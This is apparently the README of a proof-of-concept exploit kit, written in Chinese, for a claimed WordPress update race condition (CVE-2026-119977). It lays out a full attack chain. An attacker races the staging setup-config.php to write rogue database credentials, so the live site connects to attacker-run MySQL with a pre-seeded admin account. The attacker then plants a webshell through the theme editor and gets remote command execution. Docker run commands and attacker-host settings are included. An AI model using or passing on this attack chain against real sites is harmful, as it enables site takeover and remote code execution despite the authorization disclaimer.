| 字段 | 值 |
|---|---|
| CVE | CVE-2026-119977 |
| CVSS | 8.1(高危) |
| CWE | CWE-367(检查时间与使用时间不一致) |
| 攻击向量 | 网络(完全远程,仅需 HTTP) |
| 受影响版本 | WordPress 4.7.0 – 7.1.3 |
| 修复版本 | WordPress 7.1.4 |
仅限经授权的安全测试。 本 PoC 用于在您拥有或已获得明确书面许可进行测试的系统上验证该漏洞。 未经授权访问计算机系统在美国《CFAA》、英国《计算机滥用法》以及全球类似法律下均属违法。
在 WordPress 核心更新期间,更新程序会:
wp-content/upgrade/。wp-content/upgrade/wordpress-<version>-no-content/wordpress/
/wp-admin/setup-config.php —— WordPress
安装向导。当其工作 ABSPATH(暂存目录)中不存在
wp-config.php 时,此端点是未认证的。
它还具有 error_reporting(0),会在部分解压期间
掩盖 PHP 致命错误,并设置 WP_INSTALLING = true,从而绕过
维护模式。copy_dir() 以 $overwrite = true 将整个暂存树提升到
活动根目录。7.1.3 中的 $skip 数组为:
$skip = array( 'wp-content', 'wp-includes/version.php' );
wp-config.php 不在 $skip 中 —— 因此攻击者写入暂存目录的配置文件会被提升到线上根目录。Timeline
──────────────────────────────────────────────────────────────────────
unpack_package() copy_dir()
extracts ZIP ──────────────── snapshots staging dir ──── promotes files
│ │
│ ◄── RACE WINDOW ──► │
│ │
setup-config.php becomes copy_dir() sees the new wp-config.php
accessible in staging dir and copies it to ABSPATH (live root)
│ │
Attacker POSTs to it Target now connects to attacker's
with rogue DB credentials MySQL database
──────────────────────────────────────────────────────────────────────
结果: 线上站点的 wp-config.php 现在指向攻击者的 MySQL 服务器,该服务器中包含一个预先植入的管理员账户。
Phase 0 ─► Prepare attacker MySQL with pre-seeded WordPress tables
(admin user: attacker/pwned2026, blogname: "PWNED by CVE-2026-119977")
Phase 1 ─► Fingerprint target WordPress version via HTTP
(RSS feed, meta tag, or version.php source leak)
Phase 2 ─► Compute predictable staging URL:
{target}/wp-content/upgrade/wordpress-{next_ver}-no-content/wordpress/
Phase 3 ─► Aggressive POST-as-detection loop:
Continuously POST setup-config.php?step=2 with attacker DB creds
├── 404 → staging not up yet (keep polling)
├── 200 + 0 bytes → extraction incomplete (retry fast)
└── 200 + HTML → SUCCESS: wp-config.php written!
Phase 4 ─► Verify DB takeover: GET target homepage, check for attacker markers
Phase 5 ─► Login as attacker admin (attacker / pwned2026)
Phase 6 ─► Deploy webshell via theme editor (functions.php injection)
Phase 7 ─► Interactive remote command execution
┌─────────────────────────────────────┐
│ ATTACKER VPS │
│ (e.g. 203.0.113.50) │
│ │
│ ┌──────────────────────────────┐ │
│ │ exploit.py │ │
│ │ Python 3.8+ (stdlib only) │ │
│ │ │ │
│ │ Sends HTTP POST to target's │ │
│ │ staging setup-config.php │ │
│ │ with DB creds pointing to │ │
│ │ THIS server's MySQL │ │
│ └──────────┬───────────────────┘ │
│ │ │
│ ┌──────────▼───────────────────┐ │
│ │ MySQL 8.0 │ │
│ │ Port 3306 (open to target) │ │
│ │ │ │
│ │ Database: attacker_db │ │
│ │ ├── wp_users (attacker admin)│ │
│ │ ├── wp_options (PWNED title) │ │
│ │ ├── wp_posts │ │
│ │ └── ... (12 tables total) │ │
│ └──────────────────────────────┘ │
└────────────┬────────────────────────┘
│
HTTP POST (port 443/80) │ MySQL (port 3306)
─────────────────────► │ ◄─────────────────
│
┌────────────▼────────────────────────┐
│ TARGET SERVER │
│ (WordPress 7.1.3) │
│ │
│ During update, staging dir appears:│
│ wp-content/upgrade/ │
│ wordpress-7.1.4-no-content/ │
│ wordpress/ │
│ wp-admin/ │
│ setup-config.php ◄── POST │
│ wp-config.php ◄── WRITTEN │
│ │
│ copy_dir() promotes wp-config.php │
│ to ABSPATH (live root) │
│ │
│ Site now connects to attacker DB │
└─────────────────────────────────────┘
--atk-host 参数并非攻击者的本地地址。
它是目标服务器所看到的 MySQL 主机名/IP:
| 场景 | --atk-host 值 | 原因 |
|---|---|---|
| Docker(本地实验环境) | 127.0.0.1:3307 | Docker 在主机端口 3307 上暴露 MySQL;目标(XAMPP)位于同一主机 |
| VPS → 远程目标 | 203.0.113.50 | 目标连接到 VPS 公网 IP |
| VPS → 通过 VPN 访问目标 | 10.8.0.1 | 目标通过 VPN 隧道 IP 连接 |
| 同一局域网 | 192.168.1.100 | 目标连接到攻击者的局域网 IP |
MySQL 连接由目标服务器的 PHP 进程发起,而非漏洞利用脚本。
漏洞利用脚本只是告诉 setup-config.php 将哪个数据库主机写入 wp-config.php。
最快的验证方式。Docker = 攻击者 VPS,你本地的 WordPress (XAMPP/MAMP 等)= 目标。
docker-exploit/
├── docker-compose.yml # Attacker infra definition
├── init-attacker-db.sql # Attacker DB seed (12 WP tables)
├── cve_2026_119977_exploit.py # Exploit script
└── README.md # This file
cd docker-exploit
docker compose up -d attacker-db
等待 MySQL 健康:
docker compose ps
# STATUS should show "healthy"
参见第 7 节。
docker compose up exploit
该漏洞利用程序每 300ms 轮询一次暂存 URL。它会打印:
[!] >>> Trigger WordPress update NOW <<<
[*] (Admin dashboard → Updates → Update to latest version)